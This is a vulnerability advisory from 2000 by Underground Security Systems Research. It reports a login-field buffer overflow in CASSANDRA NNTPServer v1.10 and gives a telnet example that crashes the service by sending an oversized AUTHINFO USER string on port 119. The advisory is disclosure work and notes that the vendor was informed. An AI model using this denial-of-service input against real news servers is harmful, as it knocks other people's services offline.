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USSR Advisory Code: USSR-2000039
Release Date:
May 1, 2000
Systems Affected:
CASSANDRA NNTPServer Version v1.10 (WinNT / Win95)
THE PROBLEM
The Ussr Labs Team has recently discovered a buffer overflow problem in the CASSANDRA NNTPServer v1.0.
What happens is preforming an attack with a large login information Port 119, cause the proccess
containg the services to stop responding.
Thanks to [Racer X] to let us know about this.
Example:
[hellme@die-communitech.net$ telnet example.com 119
Trying example.com...
Connected to example.com.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1
May 2000 xx:xx:xx +-300 (posting allowed)
AUTHINFO USER (buffer)
Where buffer is 10000 characters.
The Exploit:
It will take down the service, making it non-functional, (untill Reboot)
Vendor Status:
Informed.
Vendor Url: http://www.atrium.de/
Program Url: http://www.atrium.de/cassandra/cassandra_e.cfm
Download Url: http://www.atrium.de/download/casnntpe.exe
Related Links:
Underground Security Systems Research
http://www.ussrback.com
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip. HNC
Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited
in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in
any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission.
Disclaimer:
The information within this paper may change without notice. Use of this information constitutes
acceptance for use in an AS IS condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this information is at the user's own risk.
Feedback:
Please send suggestions, updates, and comments to:
Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com
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